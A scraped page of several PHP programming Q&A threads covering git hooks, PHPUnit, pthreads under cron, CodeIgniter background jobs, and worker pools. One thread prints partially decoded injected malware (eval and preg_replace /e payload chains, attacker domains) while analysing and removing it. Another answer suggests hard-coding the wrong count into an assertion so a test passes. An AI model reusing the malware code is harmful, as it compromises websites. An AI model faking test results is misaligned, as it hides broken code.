Reading a Git commit message from PHP - php

I'm looking for a way to read a Git commit message with PHP. I suspect I need to use a Git hook, but I've never worked with them before, so I need a push in the right direction. Specifically, I'd like to implement the following process:
A PHP script is executed automatically after every commit
The script captures the Git username, the time of the commit, and the commit content
If at all possible, I'd like to stick with pure PHP. If there are tutorials or references that you could point out, that would be a huge help.

To get the commit hash, you can use
git rev-parse --verify HEAD 2> /dev/null
From within php:
exec('git rev-parse --verify HEAD 2> /dev/null', $output);
$hash = $output[0];
You can get the commit message, author and time (though - the time will simply be "now" if it's run as part of a post-commit hook) with:
exec("git show $hash", $output);
If it's not obvious, whatever you do with php is simply going to be a wrapper around the things you'd do with git on the cli - I.e. any "how can I do x with git from php" is just exec('the git answer', $output)

As far as using PHP to extract the correct commit:
Indefero
There is a project called Indefero that is a PHP forge tool that has an SCM connector for git. You could easily use their git class as an API for yourself. You can just grab the git class and the SCM class.
I have, for example, pulled out two methods from the class below, which I think are the most relevant to you so you can see how they work.
Get a changelog list: getChangeLog()
/**
* Get latest changes.
*
* #param string Commit ('HEAD').
* #param int Number of changes (10).
* #return array Changes.
*/
public function getChangeLog($commit='HEAD', $n=10)
{
if ($n === null) $n = '';
else $n = ' -'.$n;
$cmd = sprintf('GIT_DIR=%s '.Pluf::f('git_path', 'git').' log%s --date=iso --pretty=format:\'%s\' %s',
escapeshellarg($this->repo), $n, $this->mediumtree_fmt,
escapeshellarg($commit));
$out = array();
$cmd = Pluf::f('idf_exec_cmd_prefix', '').$cmd;
self::exec('IDF_Scm_Git::getChangeLog', $cmd, $out);
return self::parseLog($out);
}
Get a particular commit: getCommit()
/**
* Get commit details.
*
* #param string Commit
* #param bool Get commit diff (false)
* #return array Changes
*/
public function getCommit($commit, $getdiff=false)
{
if ($getdiff) {
$cmd = sprintf('GIT_DIR=%s '.Pluf::f('git_path', 'git').' show --date=iso --pretty=format:%s %s',
escapeshellarg($this->repo),
"'".$this->mediumtree_fmt."'",
escapeshellarg($commit));
} else {
$cmd = sprintf('GIT_DIR=%s '.Pluf::f('git_path', 'git').' log -1 --date=iso --pretty=format:%s %s',
escapeshellarg($this->repo),
"'".$this->mediumtree_fmt."'",
escapeshellarg($commit));
}
$out = array();
$cmd = Pluf::f('idf_exec_cmd_prefix', '').$cmd;
self::exec('IDF_Scm_Git::getCommit', $cmd, $out, $ret);
if ($ret != 0 or count($out) == 0) {
return false;
}
if ($getdiff) {
$log = array();
$change = array();
$inchange = false;
foreach ($out as $line) {
if (!$inchange and 0 === strpos($line, 'diff --git a')) {
$inchange = true;
}
if ($inchange) {
$change[] = $line;
} else {
$log[] = $line;
}
}
$out = self::parseLog($log);
$out[0]->diff = implode("\n", $change);
} else {
$out = self::parseLog($out);
$out[0]->diff = '';
}
$out[0]->branch = implode(', ', $this->inBranches($commit, null));
return $out[0];
}
VersionControl_Git from PEAR
There is also a library in PEAR called VersionControl_Git that would be helpful in this situation and is documented.

As #Pawel mentioned, you're going to want to work with hooks on this:
On localhost you can navigate to /.git/hooks and rename
post-commit.sample to post-commit and then put inside #!/usr/bin/php
There are also other hooks that may be more
suitable for you.
Git will look for the post-commit hook after you've commit and automatically run anything inside.
What you're going to want to do here depends on the task, but I'd suggest curling the script - here's where things get interesting.
In order to extract the information you're looking for, you're going to want to use git log -1 - that should pull back the latest commit.
More specifically, you'll want to build your commit using the --pretty=format toggle, which can output the latest commit with the info you need. Check out this string:
git log -1 --pretty=format:'%h - %cn (%ce) - %s (%ci)'
This would return most of the things you are looking for. Check out the git-log page to see all of the different % variables that you can use with --pretty=format:. Once you've made the string that you'd like, you can either POST those via cURL to a PHP script, or run a PHP script and use shell_exec(git log -1 --pretty=format:'%h - %cn (%ce) - %s (%ci)') to work with the commit message inline.

I was digging in the same question and found out a way to do it faster and easier.
To get just the commit message you could use
git rev-list --format=%B --max-count=1 HEAD
Obviously HEAD may be replaced with any commit hash.
It will output something like
commit 4152601a42270440ad52680ac7c66ba87a506174
Improved migrations and models relations
Second line is what you need.

Related

PHPUnit test - Failed asserting that actual size 11935 matches expected size 3

I'm brand new to phpunit and attempting to write a test that asserts that three notes were created, but I'm getting all of the notes from the DB.
/** #test */
public function it_gets_notes()
{
$address = Address::first();
$notes = factory(AddressNote::class, 3)->create(['address_id'
=> $address->id]);
$found = $this->notesClass->getData(['address_id' => $address-
>id]);
$this->assertCount(3, $found);
}
}
The Address and AddressNote models are working properly. I think I'm most confused about the getData method, which I know I need for my code coverage. Anyone see what I'm missing that would generate the error in the title?
If you need to check the difference after running your create method, then save $found before and after adding them, and the subtraction will be your number:
public function it_gets_notes()
{
$address = Address::first();
$found = $this->notesClass->getData(['address_id' => $address->id]);
$notes = factory(AddressNote::class, 3)->create(['address_id' => $address->id]);
$foundAfter = $this->notesClass->getData(['address_id' => $address->id]);
$difference = count($foundAfter) - count($found);
$this->assertEquals(3, $difference);
}
Note that you need to use assertEquals() with 3 and the difference now instead of assertCount(), since you're comparing numbers.
I don't know the whole your story, but I assume that your first mistake was that you did not create a testing database.
So, that would be the first step - in addition to your databaseName (whatever the name) create a databaseName_test.
There are some other steps to do - in your ,env file change the name of the databaseName to databaseName_testing - but only while you're doing your testing (and then immediately rollback to your original databaseName).
Yet, the problem can still persist (PHP Unit is not a perfect tool, just like PHP), and here is the hack that can help.
Instead of:
$this->assertEquals(3, $difference);
write:
$this->assertEquals(11935, $difference); //the number is specific for your case
Yep, it's stupid, but it should work...

PHP pthreads failing when run from cron

Ok, so lets start slow...
I have a pthreads script running and working for me, tested and working 100% of the time when I run it manually from the command line via ssh. The script is as follows with the main thread process code adjusted to simulate random process' run time.
class ProcessingPool extends Worker {
public function run(){}
}
class LongRunningProcess extends Threaded implements Collectable {
public function __construct($id,$data) {
$this->id = $id;
$this->data = $data;
}
public function run() {
$data = $this->data;
$this->garbage = true;
$this->result = 'START TIME:'.time().PHP_EOL;
// Here is our actual logic which will be handled within a single thread (obviously simulated here instead of the real functionality)
sleep(rand(1,100));
$this->result .= 'ID:'.$this->id.' RESULT: '.print_r($this->data,true).PHP_EOL;
$this->result .= 'END TIME:'.time().PHP_EOL;
$this->finished = time();
}
public function __destruct () {
$Finished = 'EXITED WITHOUT FINISHING';
if($this->finished > 0) {
$Finished = 'FINISHED';
}
if ($this->id === null) {
print_r("nullified thread $Finished!");
} else {
print_r("Thread w/ ID {$this->id} $Finished!");
}
}
public function isGarbage() : bool { return $this->garbage; }
public function getData() {
return $this->data;
}
public function getResult() {
return $this->result;
}
protected $id;
protected $data;
protected $result;
private $garbage = false;
private $finished = 0;
}
$LoopDelay = 500000; // microseconds
$MinimumRunTime = 300; // seconds (5 minutes)
// So we setup our pthreads pool which will hold our collection of threads
$pool = new Pool(4, ProcessingPool::class, []);
$Count = 0;
$StillCollecting = true;
$CountCollection = 0;
do {
// Grab all items from the conversion_queue which have not been processed
$result = $DB->prepare("SELECT * FROM `processing_queue` WHERE `processed` = 0 ORDER BY `queue_id` ASC");
$result->execute();
$rows = $result->fetchAll(PDO::FETCH_ASSOC);
if(!empty($rows)) {
// for each of the rows returned from the queue, and allow the workers to run and return
foreach($rows as $id => $row) {
$update = $DB->prepare("UPDATE `processing_queue` SET `processed` = 1 WHERE `queue_id` = ?");
$update->execute([$row['queue_id']]);
$pool->submit(new LongRunningProcess($row['fqueue_id'],$row));
$Count++;
}
} else {
// 0 Rows To Add To Pool From The Queue, Do Nothing...
}
// Before we allow the loop to move on to the next part, lets try and collect anything that finished
$pool->collect(function ($Processed) use(&$CountCollection) {
global $DB;
$data = $Processed->getData();
$result = $Processed->getResult();
$update = $DB->prepare("UPDATE `processing_queue` SET `processed` = 2 WHERE `queue_id` = ?");
$update->execute([$data['queue_id']]);
$CountCollection++;
return $Processed->isGarbage();
});
print_r('Collecting Loop...'.$CountCollection.'/'.$Count);
// If we have collected the same total amount as we have processed then we can consider ourselves done collecting everything that has been added to the database during the time this script started and was running
if($CountCollection == $Count) {
$StillCollecting = false;
print_r('Done Collecting Everything...');
}
// If we have not reached the full MinimumRunTime that this cron should run for, then lets continue to loop
$EndTime = microtime(true);
$TimeElapsed = ($EndTime - $StartTime);
if(($TimeElapsed/($LoopDelay/1000000)) < ($MinimumRunTime/($LoopDelay/1000000))) {
$StillCollecting = true;
print_r('Ended To Early, Lets Force Another Loop...');
}
usleep($LoopDelay);
} while($StillCollecting);
$pool->shutdown();
So while the above script will run via a command line (which has been adjusted to the basic example, and detailed processing code has been simulated in the above example), the below command gives a different result when run from a cron setup for every 5 minutes...
/opt/php7zts/bin/php -q /home/account/cron-entry.php file=every-5-minutes/processing-queue.php
The above script, when using the above command line call, will loop over and over during the run time of the script and collect any new items from the DB queue, and insert them into the pool, which allows 4 processes at a time to run and finish, which is then collected and the queue is updated before another loop happens, pulling any new items from the DB. This script will run until we have processed and collected all processes in the queue during the execution of the script. If the script has not run for the full 5 minute expected period of time, the loop is forced to continue checking the queue, if the script has run over the 5 minute mark it allows any current threads to finish & be collected before closing. Note that the above code also includes a code based "flock" functionality which makes future crons of this idle loop and exit or start once the lock has lifted, ensuring that the queue and threads are not bumping into each other. Again, ALL OF THIS WORKS FROM THE COMMAND LINE VIA SSH.
Once I take the above command, and put it into a cron to run for every 5 minutes, essentially giving me a never ending loop, while maintaining memory, I get a different result...
That result is described as follows... The script starts, checks the flock, and continues if the lock is not there, it creates the lock, and runs the above script. The items are taken from the queue in the DB, and inserted into the pool, the pool fires off the 4 threads at a time as expected.. But the unexpected result is that the run() command does not seem to be executed, and instead the __destruct function runs, and a "Thread w/ ID 2 FINISHED!" type of message is returned to the output. This in turn means that the collection side of things does not collect anything, and the initiating script (the cron script itself /home/account/cron-entry.php file=every-5-minutes/processing-queue.php) finishes after everything has been put into the pool, and destructed. Which prematurely "finishes" the cron job, since there is nothing else to do but loop and pull nothing new from the queue, since they are considered "being processed" when processed == 1 in the queue.
The question then finally becomes... How do I make the cron's script aware of the threads that where spawned and run() them without closing the pool out before they can do anything?
(note... if you copy / paste the provided script, note that I did not test it after removing the detailed logic, so it may need some simple fixes... please do not nit-pick said code, as the key here is that pthreads works if the script is executed FROM the Command Line, but fails to properly run when the script is executed FROM a CRON. If you plan on commenting with non-constructive criticism, please go use your fingers to do something else!)
Joe Watkins! I Need Your Brilliance! Thanks In Advance!
After all of that, it seems that the issue was with regards to user permissions. I was setting this specific cron up inside of cpanel, and when running the command manually I was logged in as root.
After setting this command up in roots crontab, I was able to get it to successfully run the threads from the pool. Only issue I have now is some threads never finish, and sometimes I am unable to close the pool. But this is a different issue, so I will open another question elsewhere.
For those running into this issue, make sure you know who the owner of the cron is as it matters with php's pthreads.

Codeigniter run code in background

I'm developing an iOS app and I need to call to a web developed with CodeIgniter. The problem is that I have the response very quickly, but then I need to do some actions with it in CodeIgniter.
How can I do it in background?
My code is something like this:
$data = json_decode($response);
echo $response;
//Data has around 100 rows
foreach ($data as $info)
{
//Database inserts and updates
}
If I comment the foreach, it works perfect, but with it, it takes a lot of time.
I don't want to speed up database, because that's not the problem... what really takes time its what i need to do with my data...
you can try something like below,
class Proc_test extends CI_Controller
{
public function index()
{
echo "Proc_text::Index is called at ".$this->rightnow()."<br>";
$param = 5000000;
$command = "php ".FCPATH."index.php tools proc1 $param > /dev/null &";
exec($command);
$command = "php ".FCPATH."index.php tools proc2 $param > /dev/null &";
echo "Proc_text::Index is done at ".$this->rightnow()."<br>";
}
//a helper to give time of day with microseconds
public function rightnow()
{
$time = microtime(true);
$micro_time = sprintf("%06d", ($time - floor($time)) * 1000000);
$date = new DateTime(date('Y-m-d H:i:s.'.$micro_time, $time));
return $date->format("H:i:s.u");
}
}
Here background command executes as per below example.
$command = "php ".FCPATH."index.php tools proc1 $param > /dev/null &";
It's basically a cli command which follows this form
"php absolute/path/to/codeigniter/index.php controller method argument_1 argument_2 argument_n > pipe to null statement".
Ref. Url : https://forum.codeigniter.com/thread-67870.html
You can solve this issue in two ways.
Create a cronjob to do the time consuming task in the main method you just need to add an enrty to a job table to the post processing after sending the response. So reponse will not wait until all the processing is completed. Also you can schedule the cronjob time as you need depend on the urgency of the post processing and server load.
You can use CodeIgniter hook function to do the processing after sending the response to the caller. The hook method will be "post_system" Read more about it at https://ellislab.com/codeigniter/user-guide/general/hooks.html

Hacked site - encrypted code

Couple days ago I gave noticed that almost all php files on my server are infected with some encrypted code and in almost every file is different. Here is the example from one of the files:
http://pastebin.com/JtkNya5m
Can anybody tell me what this code do or how to decode it?
You can calculate the values of some of the variables, and begin to get your bearings.
$vmksmhmfuh = 'preg_replace'; //substr($qbrqftrrvx, (44195 - 34082), (45 - 33));
preg_replace('/(.*)/e', $viwdamxcpm, null); // Calls the function wgcdoznijh() $vmksmhmfuh($ywsictklpo, $viwdamxcpm, NULL);
So the initial purpose is to call the wgcdonznijh() function with the payloads in the script, this is done by way of an embedded function call in the pre_replace subject the /e in the expression.
/* aviewwjaxj */ eval(str_replace(chr((257-220)), chr((483-391)), wgcdoznijh($tbjmmtszkv,$qbrqftrrvx))); /* ptnsmypopp */
If you hex decode the result of that you will be just about here:
if ((function_exists("ob_start") && (!isset($GLOBALS["anuna"])))) {
$GLOBALS["anuna"] = 1;
function fjfgg($n)
{
return chr(ord($n) - 1);
}
#error_reporting(0);
preg_replace("/(.*)/e", "eval(implode(array_map("fjfgg",str_split("\x25u:f!>!(\x25\x78:!> ...
The above is truncated, but you have another payload as the subject of the new preg_replace function. Again due to e it has the potential to execute.
and it is using the callback on array_map to further decode the payload which passed to the eval.
The pay load for eval looks like this (hex decoded):
$t9e = '$w9 ="/(.*)/e";$v9 = #5656}5;Bv5;oc$v5Y5;-4_g#&oc$5;oc$v5Y5;-3_g#&oc$5;oc$v5Y5;-2_g#&oc$5;oc$v5Y5;-1_g#&oc$5;B&oc$5{5-6dtz55}56;%v5;)%6,"n\r\n\r\"(edolpxe&)%6,m$(tsil5;~v5)BV%(6fi5;)J(esolcW#5}5;t$6=.6%5{6))000016,J(daerW&t$(6elihw5;B&%5;)qer$6,J(etirwW5;"n\n\X$6:tsoH"6=.6qer$5;"n\0.1/PTTH6iru$6TEG"&qer$5}5;~v5;)J(esolcW#5{6))086,1pi$6,J(tcennocW#!(6fi5;)PCT_LOS6,MAERTS_KCOS6,TENI_FA(etaercW#&J5;~v5)2pi$6=!61pi$(6fi5;))1pi$(gnol2pi#(pi2gnol#&2pi$5;)X$(emanybXteg#&1pi$5;]"yreuq"[p$6.6"?"6.6]"htap"[p$&iru$5;B=]"yreuq"[p$6))]"yreuq"[p$(tessi!(fi5;]"X"[p$&X$5;-lru_esrap#6=p$5;~v5)~^)"etaercWj4_z55}5;%v5;~v5)BV%(6fi5;)cni$6,B(edolpmi#&%5;-elif#&cni$5;~v5)~^)"elifj3_z5}5;ser$v5;~v5)BVser$(6fi5;)hc$(esolcQ5;)hc$(cexeQ&ser$5;)06,REDAEH+5;)016,TUOEMIT+5;)16,REFSNARTNRUTER+5;)lru$6,LRU+5;)(tiniQ&hc$5;~v5)~^)"tiniQj2_z555}5;%v5;~v5)BV%(6fi5;-Z#&%5;~v5)~^)"Zj1_z59 |6: |5:""|B: == |V:tsoh|X:stnetnoc_teg_elif|Z:kcos$|J:_tekcos|W:_lruc|Q:)lru$(|-:_TPOLRUC ,hc$(tpotes_lruc|+:tpotes_lruc|*: = |&: === |^:fub$|%:eslaf|~: nruter|v:)~ ==! oc$( fi|Y:g noitcnuf|z:"(stsixe_noitcnuf( fi { )lru$(|j}}};eslaf nruter {esle };))8-,i$,ataDzg$(rtsbus(etalfnizg# nruter };2+i$=i$ )2 & glf$ ( fi ;1+)i$ ,"0\",ataDzg$(soprts=i$ )61 & glf$( fi ;1+)i$,"0\",ataDzg$(soprts=i$ )8 & glf$( fi };nelx$+2+i$=i$ ;))2,i$,ataDzg$(rtsbus,"v"(kcapnu=)nelx$(tsil { )4 & glf$( fi { )0>glf$( fi ;))1,3,ataDzg$(rtsbus(dro=glf$ ;01=i$ { )"80x\b8x\f1x\"==)3,0,ataDzg$(rtsbus( fi { )ataDzg$(izgmoc noitcnuf { ))"izgmoc"(stsixe_noitcnuf!( fi|0} ;1o$~ } ;"" = 1o$Y;]1[1a$ = 1o$ )2=>)1a$(foezis( fi ;)1ac$,"0FN!"(edolpxe#=1a$ ;)po$,)-$(dtg#(2ne=1ac$ ;4g$."/".)"moc."(qqc."//:ptth"=-$ ;)))e&+)d&+)c&+)b&+)a&(edocne-(edocne-."?".po$=4g$ ;)999999,000001(dnar_tm=po$ {Y} ;"" = 1o$ { ) )))a$(rewolotrts ,"i/" . ))"relbmar*xednay*revihcra_ai*tobnsm*pruls*elgoog"(yarra ,"|"(edolpmi . "/"(hctam_gerp( ro )"nimda",)e$(rewolotrts(soprrtsQd$(Qc$(Qa$(( fi ;)"bc1afd45*88275b5e*8e4c7059*8359bd33"(yarra = rramod^FLES_PHP%e^TSOH_PTTH%d^RDDA_ETOMER%c^REREFER_PTTH%b^TNEGA_RESU_PTTH%a$ { )(212yadj } ;a$~ ;W=a$Y;"non"=a$ )""==W( fiY;"non"=a$ ))W(tessi!(fi { )marap$(212kcehcj } ;))po$ ,txet$(2ne(edocne_46esab~ { )txet&j9 esle |Y:]marap$[REVRES_$|W: ro )"non"==|Q:lru|-:.".".|+:","|*:$,po$(43k|&:$ ;)"|^:"(212kcehc=|%: nruter|~: noitcnuf|j}}8zc$9nruter9}817==!9eslaf28)45#9=979{96"5"(stsixe_328164sserpmocnuzg08164izgmoc08164etalfnizg09{9)llun9=9htgnel$9,4oocd939{9))"oocd"(stsixe_3!2| * ;*zd$*) )*edocedzg*zc$(*noitcnuf*( fi*zd$ nruter ) *# = zd$( ==! eslaf( fi;)"j"(trats_boU~~~~;t$U&zesleU~;)W%Y%RzesleU~;)W#Y#RU;)v$(oocd=t$U;"54+36Q14+c6Q06+56Q26+".p$=T;"05+36Q46+16Q55+".p$=1p$;"f5Q74+56Q26+07Q"=p$U;)"enonU:gnidocnE-tnetnoC"(redaeHz)v$(jUwz))"j"(stsixe_w!k9 |U:2p$|T:x\|Q:1\|+:nruter|&:lmth|%:ydob|#:} |~: { |z:(fi|k:22ap|j:noitcnuf|w:/\<\(/"(T &z))t$,"is/|Y:/\<\/"(1p$k|R:1,t$ ,"1"."$"."n\".)(212yad ,"is/)>\*]>\^[|W#; $syv= "eval(str_replace(array"; $siv = "str_replace";$slv = "strrev";$s1v="create_function"; $svv = #//}9;g$^s$9nruter9}9;)8,0,q$(r$=.g$9;))"46x.x?x\16\17x\".q$.g$(m$,"*H"(p$9=9q$9{9))s$(l$<)g$(l$(9elihw9;""9=9g$9;"53x$1\d6x\"=m$;"261'x1x.1x\"=r$;"351xa\07x\"=p$;"651.x%1x&1x\"=l$9{9)q$9,s$(2ne9noitcnuf;}#; $n9 = #1067|416|779|223|361#; $ll = "preg_replace"; $ee1 = array(#\14#,#, $#,#) { #,#[$i]#,#substr($#,#a = $xx("|","#,#,strpos($y,"9")#,# = str_replace($#,#x3#,#\x7#,#\15#,#;$i++) {#,#function #,#x6#,#); #,#for($i=0;$i
Which looks truncated ...
That is far as I have time for, but if you wanted to continue you may find the following url useful.
http://ddecode.com/
Good luck
I found the same code in a Wordpress instance and wrote a short script to remove it of all files:
$directory = new RecursiveDirectoryIterator(dirname(__FILE__));
$iterator = new RecursiveIteratorIterator($directory);
foreach ($iterator as $filename => $cur)
{
$contents = file_get_contents($filename);
if (strpos($contents, 'tngmufxact') !== false && strlen($contents) > 13200 && strpos($contents, '?>', 13200) == 13278) {
echo $filename.PHP_EOL;
file_put_contents($filename, substr($contents, 13280));
}
}
Just change the string 'tngmufxact' to your obfuscated version and everything will be removed automatically.
Maybe the length of the obfuscated string will differ - don't test this in your live environment!
Be sure to backup your files before executing this!
I've decoded this script and it is (except the obfuscation) exactly the same as this one: Magento Website Hacked - encryption code in all php files
The URL's inside are the same too:
33db9538.com
9507c4e8.com
e5b57288.com
54dfa1cb.com
If you are unsure/inexperienced don't try to execute or decode the code yourself, but get professional help.
Besides that: the decoding was done manually by picking the code pieces and partially executing them (inside a virtual machine - just in case something bad happens).
So basically I've repeated this over and over:
echo the hex strings to get the plain text (to find out which functions get used)
always replace eval with echo
always replace preg_replace("/(.*)/e", ...) with echo(preg_replace("/(.*)/", ...))
The e at the end of the regular expression means evaluate (like the php function eval), so don't forget to remove that too.
In the end you have a few function definitions and one of them gets invoked via ob_start.

linux worker script/queue (php)

I need a binary/script (php) that does the following.
Start n process of X in the background and maintain the number processes.
An example:
n = 50
initially 50 processes are started
a process exits
49 are still running
so 1 should be started again.
P.S.: I posted the same question on SV, which makes me probably very unpopular.
Can you use the crontab linux and write to a db or file the number of current process?.
If DB, the advantage is that you can use to procedure and lock the table, and write the number of process.
But to backgroun you should use & at the end of the call to script
# php-f pro.php &
Pseudocode:
for (i=1; i<=50; i++)
myprocess
endfor
while true
while ( $(ps --no-headers -C myprocess|wc -l) < 50 )
myprocess
endwhile
endwhile
If you translate this to php and fix its flaws, it might just do what you want.
I would go in the direction that andres suggested. Just put something like this at the top of your pro.php file...
$this_file = __FILE__;
$final_count = 50;
$processes = `ps auwx | grep "php -f $this_file"`;
$processes = explode("\n", $processes);
if (count($processes)>$final_count+3) {
exit;
}
//... Remaining code goes here
Have you tried making a PHP Daemon before?
http://kevin.vanzonneveld.net/techblog/article/create_daemons_in_php/
Here's something in Perl I have in my library (and hey, let's be honest, I'm not going to rig this up in PHP just to give you something working in that language this moment. I'm just using what I can copy / paste).
#!/usr/bin/perl
use threads;
use Thread::Queue;
my #workers;
my $num_threads = shift;
my $dbname = shift;
my $queue = new Thread::Queue;
for (0..$num_threads-1) {
$workers[$_] = new threads(\&worker);
print "TEST!\n";
}
while ($_ = shift #ARGV) {
$queue->enqueue($_);
}
sub worker() {
while ($file = $queue->dequeue) {
system ('./4parser.pl', $dbname, $file);
}
}
for (0..$num_threads-1) { $queue->enqueue(undef); }
for (0..$num_threads-1) { $workers[$_]->join; }
Whenever one of those systems calls finishes up, it moves on dequeing. Oh, and damn if I know hwy I did 0..$numthreads instead of the normal my $i = 0; $i < ... idiom, but I did it that way that time.
I have to solutions to propose. Both do child process reboot on exit, do child process reloading on USR1 signal, wait for the children exit on SIGTERM and so on.
The first is based on swoole php extension. It is very performant, async, non-blocking. Here's the usage example code:
<?php
use Symfony\Component\Process\PhpExecutableFinder;
require_once __DIR__.'/../vendor/autoload.php';
$phpBin = (new PhpExecutableFinder)->find();
if (false === $phpBin) {
throw new \LogicException('Php executable could not be found');
}
$daemon = new \App\Infra\Swoole\Daemon();
$daemon->addWorker(1, $phpBin, [__DIR__ . '/console', 'quartz:scheduler', '-vvv']);
$daemon->addWorker(3, $phpBin, [__DIR__ . '/console', 'enqueue:consume', '--setup-broker', '-vvv']);
$daemon->run();
The daemon code is here
Another is based on Symfony process library. It does not require any extra extensions. The usage example and daemon code could be found here

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